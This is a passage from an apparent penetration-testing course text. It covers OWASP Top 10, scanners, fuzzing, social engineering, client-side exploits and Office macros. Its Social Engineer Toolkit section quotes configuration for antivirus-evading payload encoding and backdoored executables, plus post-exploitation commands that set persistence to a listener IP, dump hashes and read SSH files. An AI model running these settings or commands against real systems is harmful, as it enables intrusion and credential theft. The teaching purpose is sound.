the HTML (and sometimes, even JavaScript). That kind of tight coupling makes testing near impossible, it
makes the application harder to change, and it causes tons of hard-to-find bugs down the line.

Combine the two, API and your database, and you’ll have a functioning server.

Web server and Application server

Most of the times these terms Web Server and Application server are used interchangeably.

Following are some of the key differences in features of Web Server and Application Server:

• Web Server is designed to serve HTTP Content. App Server can also serve HTTP Content but is
not limited to just HTTP. It can be provided other protocol support such as RMI/RPC
• Web Server is mostly designed to serve static content, though most Web Servers have plugins to
support scripting languages like Perl, PHP, ASP, JSP etc. through which these servers can
generate dynamic HTTP content.
• Most of the application servers have Web Server as integral part of them, that means App
Server can do whatever Web Server is capable of. Additionally App Server have components and
features to support Application level services such as Connection Pooling, Object Pooling,
Transaction Support, Messaging services etc.
• As web servers are well suited for static content and app servers for dynamic content, most of
the production environments have web server acting as reverse proxy to app server. That means
while servicing a page request, static contents (such as images/Static HTML) are served by web
server that interprets the request. Using some kind of filtering technique (mostly extension of
requested resource) web server identifies dynamic content request and transparently forwards
to app server

Example of such configuration is Apache Tomcat HTTP Server and Oracle (formerly BEA) WebLogic
Server. Apache Tomcat HTTP Server is Web Server and Oracle WebLogic is Application Server.

In some cases the servers are tightly integrated such as IIS and .NET Runtime. IIS is web server. When
equipped with .NET runtime environment, IIS is capable of providing application services.

Common web-vulnerabilities: OWASP Top 10

A1-Injection

Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter
as part of a command or query. The attacker’s hostile data can trick the interpreter into executing
unintended commands or accessing data without proper authorization.

A2-Broken Authentication and Session Management

Application functions related to authentication and session management are often not implemented
correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other
implementation flaws to assume other users’ identities.

A3-Cross-Site Scripting (XSS)

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without
proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can
hijack user sessions, deface web sites, or redirect the user to malicious sites.

A4-Insecure Direct Object References

A direct object reference occurs when a developer exposes a reference to an internal implementation
object, such as a file, directory, or database key. Without an access control check or other protection,
attackers can manipulate these references to access unauthorized data.

A5-Security Misconfiguration

Good security requires having a secure configuration defined and deployed for the application,
frameworks, application server, web server, database server, and platform. Secure settings should be
defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be
kept up to date.

A6-Sensitive Data Exposure

Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and
authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit
card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at
rest or in transit, as well as special precautions when exchanged with the browser.

A7-Missing Function Level Access Control

Most web applications verify function level access rights before making that functionality visible in the
UI. However, applications need to perform the same access control checks on the server when each
function is accessed. If requests are not verified, attackers will be able to forge requests in order to
access functionality without proper authorization.

A8-Cross-Site Request Forgery (CSRF)

A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s
session cookie and any other automatically included authentication information, to a vulnerable web
application. This allows the attacker to force the victim’s browser to generate requests the vulnerable
application thinks are legitimate requests from the victim.

A9-Using Components with Known Vulnerabilities

Components, such as libraries, frameworks, and other software modules, almost always run with full
privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server
takeover. Applications using components with known vulnerabilities may undermine application
defenses and enable a range of possible attacks and impacts.

A10-Unvalidated Redirects and Forwards

Web applications frequently redirect and forward users to other pages and websites, and use untrusted
data to determine the destination pages. Without proper validation, attackers can redirect victims to
phishing or malware sites, or use forwards to access unauthorized pages.
OWASP testing guide overview
Web Application Penetration Testing Methodology by OWASP covers the following:

• Information Gathering
• Configuration and Deployment Management Testing
• Identity Management Testing
• Authentication Testing
• Authorization Testing
• Session Management Testing
• Input Validation Testing
• Error Handling
• Cryptography
• Business Logic Testing
• Client Side Testing

Web security testing tools

Web-scanners: w3af

w3af is a simple tool to use once you understand the basic concepts behind it, our FAQ and the
framework’s feature list will introduce you to the overall idea, but this document will dive into w3af and
explain all you need to know before running a scan.

Web Application Scanning

Black-box web application scanning, if we abstract from the details, is a simple process:

• Identify all links, forms, query string parameters.

• Send specially crafted strings to each input and analyze the output
• Generate a report with the findings

Due to various reasons that won’t be discussed in this document, this process is actually very complex
and false positive/negative prone if done without the right tools.

w3af’s architecture

The w3af framework is divided into three main sections:

• The core, which coordinates the whole process and provides libraries for using in plugins.
• The user interfaces, which allow the user to configure and start scans
• The plugins, which find links and vulnerabilities

w3af’s phases

w3af follows the steps you would perfom in a web application penetration test, see “Web Application
Scanning” above. In order to do so it defines different types of plugins which are going to be called by
the core in a specific order.

Starting with a target URL provided by the user, w3af will first try to identify all URLs, forms and query
string parameters in the application by the means of crawl plugins. A very good example of this type of
plugin is the web_spider which will extract URLs from a page, follow those links and once again extract
URLs from it. Following that process it will create a complete application link and form map.
Once the application has been mapped, audit plugins will send specially crafted strings to each
parameter in order to trigger bugs in the application’s code. When a bug is found it will be reported to
the user. The most used audit plugin is sqli which will find error-based SQL injections.

Identified vulnerabilities, debug and error messages, all are reported to the user with output plugins.
These plugins will write the messages in different formats to suit your needs. In most cases a text file is
what users need, but for integration into other tools XML file format is also available.

Configuration

The framework can be configured using two very different settings: plugin configuration and global
configuration.

Plugin configuration

Plugins might have configuration parameters, in all cases where the plugin has a setting a default value
has been set. We recommend you read the setting help and in some cases the plugin source code in
order to understand exactly what will happen if you change the configuration.

Local Proxies: Burp

Burp Suite is an integrated platform for performing security testing of web applications. Its various tools
work seamlessly together to support the entire testing process, from initial mapping and analysis of an
application's attack surface, through to finding and exploiting security vulnerabilities.

Burp gives you full control, letting you combine advanced manual techniques with state-of-the-art
automation, to make your work faster, more effective, and more fun.

Burp Suite contains the following key components:

• An intercepting Proxy, which lets you inspect and modify traffic between your browser and the
target application.
• An application-aware Spider, for crawling content and functionality.
• An advanced web application Scanner, for automating the detection of numerous types of
vulnerability.
• An Intruder tool, for performing powerful customized attacks to find and exploit unusual
vulnerabilities.
• A Repeater tool, for manipulating and resending individual requests.
• A Sequencer tool, for testing the randomness of session tokens.
• The ability to save your work and resume working later.
• Extensibility, allowing you to easily write your own plugins, to perform complex and highly
customized tasks within Burp.

Fuzzing and fuzzers

Fuzz testing or Fuzzing is a Black Box software testing technique, which basically consists in finding
implementation bugs using malformed/semi-malformed data injection in an automated fashion.

A trivial example

Lets's consider an integer in a program, which stores the result of a user's choice between 3 questions.
When the user picks one, the choice will be 0, 1 or 2. Which makes three practical cases. But what if we
transmit 3, or 255 ? We can, because integers are stored a static size variable. If the default switch case
hasn't been implemented securely, the program may crash and lead to "classical" security issues:
(un)exploitable buffer overflows, DoS, ...
Fuzzing is the art of automatic bug finding, and it's role is to find software implementation faults, and
identify them if possible.

History

Fuzz testing was developed at the University of Wisconsin Madison in 1989 by Professor Barton Miller
and his students. Their (continued) work can be found at http://www.cs.wisc.edu/~bart/fuzz/ ; it's
mainly oriented towards command-line and UI fuzzing, and shows that modern operating systems are
vulnerable to even simple fuzzing.

Fuzzer implementations

A fuzzer is a program which injects automatically semi-random data into a program/stack and detect
bugs.

The data-generation part is made of generators, and vulnerability identification relies on debugging
tools. Generators usually use combinations of static fuzzing vectors (known-to-be-dangerous values), or
totally random data. New generation fuzzers use genetic algorithms to link injected data and observed
impact. Such tools are not public yet.

Comparison with cryptanalysis

The number of possible tryable solutions is the explorable solutions space. The aim of cryptanalysis is to
reduce this space, which means finding a way of having less keys to try than pure bruteforce to decrypt
something.

Most of the fuzzers are:

• protocol/file-format dependant
• data-type dependant

Why?

First, because the fuzzer has to connect to the input channel, which is bound to the target.

Second, because a program only understands structured-enough data. If you connect to a web server in
a raw way, it will only respond to listed commands such as GET (or eventually crash). It will take less
time to start the string with "GET ", and fuzz the rest, but the drawback is that you'll skip all the tests on
the first verb.

In this regard, Fuzzers try to reduce the number of unuseful tests, i.e. the values we already know that
there's little chance they'll work: you reduce unpredictability, in favor of speed.

Attack types

A fuzzer would try combinations of attacks on:

• numbers (signed/unsigned integers/float...)

• chars (urls, command-line inputs)
• metadata : user-input text (id3 tag)
• pure binary sequences

A common approach to fuzzing is to define lists of "known-to-be-dangerous values" (fuzz vectors) for
each type, and to inject them or recombinations.

• for integers: zero, possibly negative or very big numbers

• for chars: escaped, interpretable characters / instructions (ex: For SQL Requests, quotes /
commands...)
• for binary: random ones

Please refer to OWASP's Fuzz Vector's resource for real-life fuzzing vectors examples and methodology.

Protocols and file formats imply norms, which are sometimes blurry, very complicated or badly
implemented : that's why developers sometimes mess up in the implementation process (because of
time/cost constraints). That's why it can be interesting to take the opposite approach: take a norm, look
at all mandatory features and constraints, and try all of them; forbidden/reserved values, linked
parameters, field sizes. That would be conformance testing oriented fuzzing.

Application fuzzing

Whatever the fuzzed system is, the attack vectors are within it's I/O. For a desktop app:

• the UI (testing all the buttons sequences / text inputs)

• the command-line options
• the import/export capabilities (see file format fuzzing below)

For a web app: urls, forms, user-generated content, RPC requests, ...

Protocol fuzzing

A protocol fuzzer sends forged packets to the tested application, or eventually acts as a proxy, modifying
requests on the fly and replaying them.

File format fuzzing

A file format fuzzer generates multiple malformed samples, and opens them sequentially. When the
program crashes, debug information is kept for further investigation.

One can attack:

• the parser layer (container layer): file format constraints, structure, conventions, field sizes,
flags, ...
• the codec/application layer: lower-level attacks, aiming at the program's deeper internals

One example of file format related vulnerabilities: MS04-028 (KB833987) Microsoft's JPEG GDI+
vulnerability was a zero sized comment field, without content.

Surprisingly, file format fuzzers are not that common, but tend to appear these days; some examples:

A generic file format fuzzer : Ilja van Sprundel's mangle.c; "it's usage is very simple, it takes a filename
and headersize as input. it will then change approximatly between 0 and 10% of the header with
random bytes." (from the author)

Zzuf can act as a fuzzed file generator, http://sam.zoy.org/zzuf/

One may use tools like Hachoir as a generic parser for file format fuzzer development.

Fuzzers advantages

The great advantage of fuzz testing is that the test design is extremely simple, and free of
preconceptions about system behavior (from Wikipedia http://en.wikipedia.org/wiki/Fuzz_testing).

The systematical/random approach allows this method to find bugs that would have often been missed
by human eyes. Plus, when the tested system is totally closed (say, a SIP phone), fuzzing is one of the
only means of reviewing it's quality.

Fuzzers limitations
Fuzzers usually tend to find simple bugs; plus, the more a fuzzer is protocol-aware, the less weird errors
it will find. This is why the exhaustive / random approach is still popular among the fuzzing community.

Another problem is that when you do some black-box-testing, you usually attack a closed system, which
increases difficulty to evaluate the dangerosity/impact of the found vulnerability (no debugging
possibilities).

Why Fuzz?

The purpose of fuzzing relies on the assumption that there are bugs within every program, which are
waiting to be discovered. Therefore, a systematical approach should find them sooner or later.

Fuzzing can add another point of view to classical software testing techniques (hand code review,
debugging) because of it's non-human approach. It doesn't replace them, but is a reasonable
complement, thanks to the limited work needed to put the procedure in place.

Recent fuzzing initiatives:

The Month of Kernel Bugs, which revealed an Apple Wireless flaw; see http://kernelfun.blogspot.com/;
mainly used file system fuzzing tools

The Month of Browser Bugs (review here); number of bugs found: MSIE: 25 Apple Safari: 2 Mozilla: 2
Opera: 1 Konqueror: 1; used DHTML, Css, DOM, ActiveX fuzzing tools

Fuzzers from OWASP

Fuzzing with WebScarab: a framework for analysing applications that communicate using the HTTP and
HTTPS protocols

JBroFuzz: a web application fuzzer

WSFuzzer: real-world manual SOAP pen testing tool

Chapter 6 Social engineering

Lecture 6.1 Social engineering
Social engineering attacks
We have become all too familiar with the type of attacker who leverages their technical expertise to
infiltrate protected computer systems and compromise sensitive data. We hear about this breed of
hacker in the news all the time, and we are motivated to counter their exploits by investing in new
technologies that will bolster our network defenses.

However, there is another type of attacker who can use their tactics to skirt our tools and solutions.
They are the social engineers, hackers who exploit the one weakness that is found in each and every
organization: human psychology. Using a variety of media, including phone calls and social media, these
attackers trick people into offering them access to sensitive information.

Social engineering is a term that encompasses a broad spectrum of malicious activity. For the purposes
of this article, however, we will focus on the five most common attack types that social engineers use to
target their victims: phishing, pretexting, baiting, quid pro quo and tailgating.

PHISHING

Phishing scams might be the most common types of social engineering attacks used today.
Most phishing scams demonstrate the following characteristics:
  Seek to obtain personal information, such as names, addresses and social security numbers.
 Use link shorteners or embed links that redirect users to suspicious websites in URLs that appear
legitimate.
 Incorporates threats, fear and a sense of urgency in an attempt to manipulate the user into
acting promptly.

Some phishing emails are more poorly crafted than others to the extent that their messages oftentimes
exhibit spelling and grammar errors but these emails are no less focused on directing victims to a fake
website or form where they can steal user login credentials and other personal information.

A recent scam sent phishing emails to users after they installed cracked APK files from Google Play
Books that were pre-loaded with malware. This specific phishing campaign demonstrates how attackers
commonly pair malware with phishing attacks in an effort to steal users’ information.

PRETEXTING

Pretexting is another form of social engineering where attackers focus on creating a good pretext, or a
fabricated scenario, that they can use to try and steal their victims’ personal information. These types of
attacks commonly take the form of a scammer who pretends that they need certain bits of
information from their target in order to confirm their identity.

More advanced attacks will also try to manipulate their targets into performing an action that enables
them to exploit the structural weaknesses of an organization or company. A good example of this would
be an attacker who impersonates an external IT services auditor and manipulates a company’s physical
security staff into letting them into the building.

Unlike phishing emails, which use fear and urgency to their advantage, pretexting attacks rely on
building a false sense of trust with the victim. This requires the attacker to build a credible story that
leaves little room for doubt on the part of their target.

Pretexting attacks are commonly used to gain both sensitive and non-sensitive information. Back in
October, for instance, a group of scammers posed as representatives from modeling agencies and escort
services, invented fake background stories and interview questions in order to have women, including
teenage girls, send them nude pictures of themselves.
BAITING

Baiting is in many ways similar to phishing attacks. However, what distinguishes them from other types
of social engineering is the promise of an item or good that hackers use to entice victims. Baiters may
offer users free music or movie downloads, if they surrender their login credentials to a certain site.

Baiting attacks are not restricted to online schemes, either. Attackers can also focus on exploiting
human curiosity via the use of physical media.

One such attack was documented by Steve Stasiukonis, VP and founder of Secure Network
Technologies, Inc., back in 2006. To assess the security of a financial client, Steve and his team infected
dozens of USBs with a Trojan virus and dispersed them around the organization’s parking lot. Curious,
many of the client’s employees picked up the USBs and plugged them into their computers, which
activated a keylogger and gave Steve access to a number of employees’ login credentials.
QUID PRO QUO
Similarly, quid pro quo attacks promise a benefit in exchange for information. This benefit usually
assumes the form of a service, whereas baiting frequently takes the form of a good.

One of the most common types of quid pro quo attacks involve fraudsters who impersonate IT service
people and who spam call as many direct numbers that belong to a company as they can find. These
attackers offer IT assistance to each and every one of their victims. The fraudsters will promise a quick
fix in exchange for the employee disabling their AV program and for installing malware on their
computers that assumes the guise of software updates.

It is important to note, however, that attackers can use much less sophisticated quid pro quo offers than
IT fixes. As real world examples have shown, office workers are more than willing to give away their
passwords for a cheap pen or even a bar of chocolate.
TAILGATING

Another social engineering attack type is known as tailgating or “piggybacking.” These types of attacks
involve someone who lacks the proper authentication following an employee into a restricted area.

In a common type of tailgating attack, a person impersonates a delivery driver and waits outside a
building. When an employee gains security’s approval and opens their door, the attacker asks that the
employee hold the door, thereby gaining access off of someone who is authorized to enter the
company.

Tailgating does not work in all corporate settings, such as in larger companies where all persons entering
a building are required to swipe a card. However, in mid-size enterprises, attackers can strike up
conversations with employees and use this show of familiarity to successfully get past the front desk.

In fact, Colin Greenless, a security consultant at Siemens Enterprise Communications, used these same
tactics to gain access to several different floors, as well as the data room at an FTSE-listed financial firm.
He was even able to base himself in a third floor meeting room, out of which he worked for several days.
The Social engineering Toolkit project overview
Social Engineer Toolkit
The Social Engineer Toolkit (SET) was created and written by David Kennedy (ReL1K). SET is an
open source python-driven tool that focuses solely on attacking the weakest link in information
security chain –which is the human element. The attacks built into the toolkit are designed to be
targeted and focused attacks against a person or organization used during a penetration test.

The Social Engineer (SET) is included in the latest version of the most popular Linux distribution
focused on security, Back|Track. It can also be downloaded through github using the following
command:

git clone https://github.com/trustedsec/social-engineer-toolkit/ set/ .

Social Engineer Toolkit Menu

Social Engineer Toolkit (SET) is a menu-driven based attack system, which means it’s not a
command line tool; this decision had been made because of how social engineer attacks occur. It
requires multiple scenarios, options, and customizations. Moreover if SET developed as a command
line based it would limit the effectiveness of the attacks. Now it’s the time to step by the SET menu
and take a quick and a brief walkthrough of most of these attack vectors.

1. Social-Engineering Attacks
2. Fast-Track Penetration Testing
3. Third Party Modules
4. Update the Metasploit Framework
5. Update the Social-Engineer Toolkit
6. Update SET configuration
7. Help, Credits, and About
The most important item in this menu is Social Engineering Attacks that includes all the attack
vectors. Most of these items in this menu are self-explanatory, like using fast track penetration
testing frameworks, using third party modules, updating the Metasploit framework, updating the
Social Engineer Toolkit (SET) itself, and updating SET configuration.

Social Engineer Toolkit Usage

To open Social Engineer Toolkit (SET) in Backtrack distribution, go to Applications -> BackTrack ->
Exploitation Tools -> Social Engineering Tools -> Social Engineering Toolkit ->SET

Click for a larger view

The SET will open in the terminal and will look like the following screenshot (of course you have
installed the latest version of SET).

Social Engineering Toolkit Update

The first step that we should take after installing BackTrack is updating the Social Engineering
Toolkit. To do so, open the terminal and change directory to the SET directory, then enter the
following command:

1 root@bt:/pentest/exploits/set# svn update

2 D config/set_config.py
3 U config/set_config
4 U config/update_config.py
5 U setup.py
6 A src/fasttrack/delldrac.py
 7 U src/fasttrack/mssql.py
8 U src/powershell/powershell.py
9 U src/core/set.py
10 U src/core/payloadgen/create_payloads.py
11 U src/core/setcore.py
12 U src/core/dictionaries.py
13 U src/core/menu/text.py
14 U src/core/fasttrack.py
15 U src/html/spawn.py
16 U src/html/Signed_Update.jar.orig
17 U src/html/unsigned/verified_sign.py
18 U src/html/unsigned/unsigned.jar
19 D src/webattack/java_applet
20 U src/webattack/multi_attack/multiattack.py
21
U src/webattack/harvester/scraper.py
22
U src/webattack/harvester/harvester.py
23
U src/webattack/browser_exploits/gen_payload.py
24
D src/webattack/web_clone/linux
25
D src/webattack/web_clone/osx
26
A src/webattack/web_clone/applet.txt
27
A src/webattack/web_clone/applet.database.old
28
U src/webattack/web_clone/applet.database
29
U src/payloads/set_payloads/shell.windows
30
A src/payloads/set_payloads/pyinjector.binary
31
U src/payloads/set_payloads/listener.py
32
U set
33
U readme/CHANGES
34
U readme/CREDITS
35
U readme/README
36
Updated to revision 1599.

Social Engineering Toolkit configuration

The power of SET is in its configuration file. SET using its default settings works perfectly for most
users, but advanced customization will help us to make sure that the attack vectors run without
problems. So after updating SET, it’s time to edit the SET configuration file. So let’s walk through it.
To open SET configuration file, Open the terminal and change the directory to configfolder under the
SET directory, you will find the configuration file called set_config. Open it in any text editor.
### Define the path to MetaSploit, for example:
1 /pentest/exploits/framework3
2 METASPLOIT_PATH=/opt/metasploit/msf3

While looking through the configuration file, you can change any option to get the desired result. In
the first option, you can change the path of where Metasploit is located. SET uses Metasploit for the
payload creations, file format bugs, and for the browser exploit scenarios. By default, the Metasploit
location is /opt/metasploit/msf3.

### This will tell what database to use when using the MetaSploit fun
1 PostgreSQL
2 METASPLOIT_DATABASE=postgresql

In this option, you can choose which database Metasploit will use. By default, PostgresSQL is the
default database.

### How many times SET should encode a payload if you are using stand
1 encoding options
2 ENCOUNT=4

In this option, you can specify how many times Metasploit should encode the payload using the
standard Metasploit encoding option. By default, it encodes four times before sending the payload.

### The browser, however can introduce buggy results when auto migrat
1
### NOTE: This will make bypassuac not work properly. Migrate to a di
2 it to work.
3 AUTO_MIGRATE=OFF

In this option, you can set auto_migrate option to on/off. ON means that the Meterpreter session will
migrate to a different process. For example, if we got a Meterpreter session through a browser
attack and the victim closed the browser, then the session will be dead. But if auto_migrate set to
ON, the Meterpreter session will migrate to another running process so if the attacker closes the
browser, the session is still live.

### Custom exe you want to use for Metasploit encoding, this usually
better av
### detection. Currently it is set to legit.binary which is just calc
1
example
2
### you could use would be putty.exe so this field would be
3 /pathtoexe/putty.exe
4 CUSTOM_EXE=legit.binary

In this option, you can determine which executable will be used for Metasploit encoding. By default,
it’s set to legit.binary, which is calc.exe.

### This is for the backdoored executable if you want to keep the exe
1
work. Normally
2
### when legit.binary is used, it will render the application useless
3 will keep the
4 ### application working
BACKDOOR_EXECUTION=ON

In the next option we will determine if we want to keep the executable working. We specify this at
custom_exe, which by default is calc.exe.

### Here we can run multiple Meterpreter scripts once a session is ac

This
### may be important if we are sleeping and need to run persistence,
elevate
1
### permissions and other tasks in an automated fashion. First turn t
2
trigger on
3
### then configure the flags. Note that you need to separate the comm
4 by a ;
5 METERPRETER_MULTI_SCRIPT=OFF
6 LINUX_METERPRETER_MULTI_SCRIPT=OFF

Here, we can run multiple Meterpreter scripts once a session is active. We can turn it off/on in the
next option and specify these scripts.

### What commands do you want to run once a Meterpreter session has b
established.
### Be sure if you want multiple commands to separate with a ;. For e
1
could do
2
### run getsystem;run hashdump;run persistence to run three different
3
METERPRETER_MULTI_COMMANDS=run persistence -r 192.168.1.5 -p 21 -i 30
4 A;getsystem
5 LINUX_METERPRETER_MULTI_COMMANDS=uname;id;cat ~/.ssh/known_hosts

In this option, we can choose which commands will be run once a Meterpreter session has been
established. If you want multiple commands, you can separate them with a semicolon “;”.

### This is the port that is used for the iFrame injection using the
attacks.
1
### By default this port is 8080 however egress filtering may block t
2 adjust to
3 ### something like 21 or 53
4 METASPLOIT_IFRAME_PORT=8080

You can use this to determine which port will be used for the iFrame injection while using the
Metasploit browser attacks. By default, it will use port 8080. It’s better to change it to a popular port
like 2153, etc.

1
### Define to use Ettercap or not when using website attack only - se
2 OFF
3 ETTERCAP=OFF
4 ### Ettercap home directory (needed for DNS_spoof)
5 ETTERCAP_PATH=/usr/share/ettercap
6 ### Specify what interface you want ettercap or DSNiff to listen on,
will default
ETTERCAP_INTERFACE=eth0

Ettercap is a free and open source network security tool for man in the middle attacks on a LAN. It
can be used for computer network protocol analysis and security auditing. It runs on various Unix-
like operating systems including Linux, Mac OS X, BSD and Solaris, and on Microsoft Windows. It is
capable of intercepting traffic on a network segment, capturing passwords, and conducting active
eavesdropping against a number of common protocols.

The Ettercap options can be used when an attacker is on the same subnet as his victims and he
wants to perform DNS poison attacks against a subset of IP addresses. When this flag is set to ON,
it will poison the entire local subnet and redirect a specific site or all sites to your malicious server.
There are three options for Ettercap. The first is used to allow SET to use Ettercap, and the second
sets the path, and the third is to identify the interface on which Ettercap will listen.

### Define to use dsniff or not when using website attack only - set
1 and off
2 ### If dsniff is set to on, ettercap will automatically be disabled.
3 DSNIFF=OFF

Dsniff is a set of password sniffing and network traffic analysis tools written by security researcher
and startup founder Dug Song to parse different application protocols and extract relevant
information. Dsniff passively monitors a network for interesting data (passwords, e-mail, files, etc.) In
this option, you can allow the use of dsniff by setting it On/Off but take in your mind that Ettercap will
automatically be disabled.

1 ### SendMail ON or OFF for spoofing email addresses

2 SENDMAIL=OFF

Sendmail is a general purpose internetwork email routing facility that supports many kinds of mail-
transfer and -delivery methods, including the Simple Mail Transfer Protocol (SMTP) used for email
transport over the Internet.

By setting sendmail flag to ON, Sendmail can spoof source email addresses. Sendmail must be
installed before set it to ON. It’s installed by default in back track 5.

### Create self-signed Java applets and spoof publisher note this req
to
1
### install ---> Java 6 JDK, BT5 or Ubuntu users: apt-get install op
2
### If this is not installed it will not work. Can also do: apt-get i
3 java6-jdk
4 SELF_SIGNED_APPLET=OFF
If we set this option to ON, It will allow us to sign the java applet with whatever the name that we
want. For example, if we are targeting a company called “XYZ”, you can sign the java applet with
“XYZ” to make it look more believable. By default the java applet is signed by Microsoft this will
require you to install java’s jdk.

### Use Apache instead of the standard Python web server. This will i
1 the speed
2 ### of the attack vector.
3 APACHE_SERVER=OFF
4 ### Path to the Apache web root
5 APACHE_DIRECTORY=/var/www

If we set this option to ON, SET will use the Apache web server to handle the web requests because
it will increase the speed of the attack. By default SET will use Python web server and you should
set the Apache root directory —which is /var/www by default.

# TURN ON SSL CERTIFICATES FOR SET SECURE COMMUNICATIONS THROUGH WEB

VECTOR
WEBATTACK_SSL=OFF
1
# PATH TO THE PEM FILE TO UTILIZE CERTIFICATES WITH THE WEB ATTACK V
2 (REQUIRED)
3 # YOU CAN CREATE YOUR OWN UTILIZING SET, JUST TURN ON SELF_SIGNED_CE
4 # IF YOUR USING THIS FLAG, ENSURE OPENSSL IS INSTALLED!
5
SELF_SIGNED_CERT=OFF
6
# BELOW IS THE CLIENT/SERVER (PRIVATE) CERT, THIS MUST BE IN PEM FOR
7 ORDER TO WORK
8 # SIMPLY PLACE THE PATH YOU WANT FOR EXAMPLE /root/ssl_client/server
9 PEM_CLIENT=/root/newcert.pem
10 PEM_SERVER=/root/newreq.pem

If you are targeting a website that uses “HTTPS” protocol for communication, it’s better to make your
website use “HTTPS” too, Fortunately SET allows you to incorporate SSL based attacks with it so
you will need to turn the webattack_ssl to ON. And set the second option to ON if you want to use
self-signed certificates and the third and fourth options should refer to the location of the client and
server certificates.
Click for a larger view

Now let’s select social engineering attacks from the menu. Once we choose them, we will get the
sub menu list, which gives details about the further type of attack as shown below :

1. Spear-Phishing Attack Vectors

2. Website Attack Vectors
3. Infectious Media Generator
4. Create a Payload and Listener
5. Mass Mailer Attack
6. Arduino-Based Attack Vector
7. SMS Spoofing Attack Vector
8. Wireless Access Point Attack Vector
9. QRCode Generator Attack Vector
10. Powershell Attack Vectors
11. Third Party Modules
Click for a larger view

Now let’s select the website attack vectors from the menu. Once we choose the vector, we will get
the sub menu list, which gives details about the further type of attack as shown below:

1. Java Applet Attack Method

2. Metasploit Browser Exploit Method
3. Credential Harvester Attack Method
4. Tabnabbing Attack Method
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method
7. Multi-Attack Web Method
8. Victim Web Profiler
9. Create or import a CodeSigning Certificate

Source: http://resources.infosecinstitute.com/phishing-and-social-engineering-techniques/

Chapter 7 Exploitation using client-side attacks

Lecture 7.1 Client side exploits
Types of client-side exploits
Major client-side security issues occur in well-known brands, such as Adobe, Firefox, and Apple, but also
lesser known and less expected sources, such as McAfee, Symantec, and open source security tools such
as Secure Shell.
The solution is to perform a complete patch audit of a scanned system. Nessus has the ability to detect
thousands of client-side vulnerabilities in software installed from sources other than the base operating
system. In lieu of performing a full patch audit, passive network monitoring with the Passive
Vulnerability Scanner will identify client vulnerabilities based on DNS lookups, web queries, dedicated
client protocols, and analysis of unencrypted conversations over FTP, SMTP, IMAP, SMB, and many
others.

Type 1 - Traditional Client-side Exploits

There has been a lot of coverage of client-side exploits being used to create botnets and target specific
organizations via a combination of social engineering and content with malicious payloads. These
exploits target browsers, browser plugins, and email clients. Today, there is a fine line between email
and web applications since many email applications share libraries when viewing emails that have been
formatted with HTML content. We won’t spend any more time on this type of client-side exploit since
this is the most commonly known type.

Type 2 – Clients with Exposed Services

Many types of client software will actually open up a socket and run a service that communicates on the
network. From the perspective of a penetration tester or a vulnerability scanner, it really doesn’t make
any difference if a piece of software is acting as a client for a user or if it is focused on serving data. If it
has a socket open on the network and connections can be made to it, it may be exploitable. If the host is
directly connected to the Internet or to mobile broadband networks and it does not have a firewall, it
may be attacked directly without any need for user interaction such as opening an email.

When a Nessus vulnerability scan is configured without credentials, by default, Nessus will conduct
scans for all vulnerable services, be they from traditional servers or services opened by client software.
Within Nessus 5, this can be refined further within your scan policy by adding a filter for a “plugin type”
of “remote” as compared to a credentialed “local” check. Combinations can be further added to target
specific classes of software. For example, in the screen shot below, I created a filter to select plugins
that identify vulnerable iTunes software with remote Nessus checks.

Type 3 – Clients Exposed to Hostile Servers

This type of client exploit may seem very similar to our first type, but the differentiation is that the
server isn’t hosting hostile data –- the server itself can be manipulated to attack a client directly.

A classic example is CVE-2005-0467, which identifies a vulnerability in the PuTTY SSH and SCP clients
that can be exploited by a malicious SSH server to execute code on connecting host. An example Nessus
plugin that detects this is the credentialed Gentoo local check plugin.

Vulnerabilities like this can be used to hop through firewalls in a much more direct manner than by
attempting to compromise an administrator’s system with some sort of Internet-based social
engineering exploit. For example, let’s say you have a host in a DMZ which can be compromised from
the Internet or Intranet, yet all administration to this system is performed through a one-way firewall. If
the administrative access to the DMZ systems is allowed from an internal network and there is
vulnerable client software in use, a DMZ server under control of an attacker could modify the service to
conduct attacks against the client.

MS Office macros
What’s a Macro?

Microsoft Office documents — Word, Excel, PowerPoint, and other types of documents — can contain
embedded code written in a programming language known as Visual Basic for Applications (VBA).
You can record your own macros using the built-in Macro Recorder. This allows you to automate
repetitive tasks — in the future, you’ll be able to repeat the actions you recorded by running the macro.
Follow our guide to creating Excel macros for more information. Macros you’ve created yourself are
fine and don’t pose a security risk.

However, malicious people could write VBA code to create macros that do harmful things. They could
then embed these macros in Office documents and distribute them online.

Why Can Macros Do Potentially Dangerous Things?

You might assume that a programming language designed to automate tasks in an Office suite would be
fairly harmless, but you’d be wrong. For example, macros can use the VBA SHELL command to run
arbitrary commands and programs or use the VBA KILL command to delete files on your hard drive.

After a malicious macro is loaded into an Office application like Word via an infected document, it can
use features like “AutoExec” to automatically start with Word or “AutoOpen” to automatically run
whenever you open a document. In this way, the macro virus can integrate itself into Word, infecting
future documents.

You might wonder why such harmful behavior is even possible with an Office suite. VBA macros were
added to Office in the 90s, at a time when Microsoft wasn’t serious about security and before the
Internet brought the threat of harmful macros home. Macros and VBA code weren’t designed for
security, just like Microsoft’s ActiveX technology and many of the features in Adobe’s PDF Reader.

As you might expect, malware authors took advantage of such insecurities in Microsoft Office to create
malware. One of the most well-known is the Melissa virus from 1999. It was distributed as a Word
document containing a macro virus. When opened with Word 97 or Word 2000, the macro would
execute, gather the first 50 entries in the user’s address book, and mail a copy of the macro-infected
Word document to them via Microsoft Outlook. Many recipients would open the infected document
and the cycle would continue, clogging email servers with an exponentially increasing amount of junk
mail.

Other macro viruses have caused trouble in other ways — for example, the Wazzu macro virus infected
Word documents and tampered with them by occasionally moving words around inside the document.

These macros were much more trouble when Office trusted macros and loaded them by default. It no
longer does.
How Microsoft Office Protects Against Macro Viruses

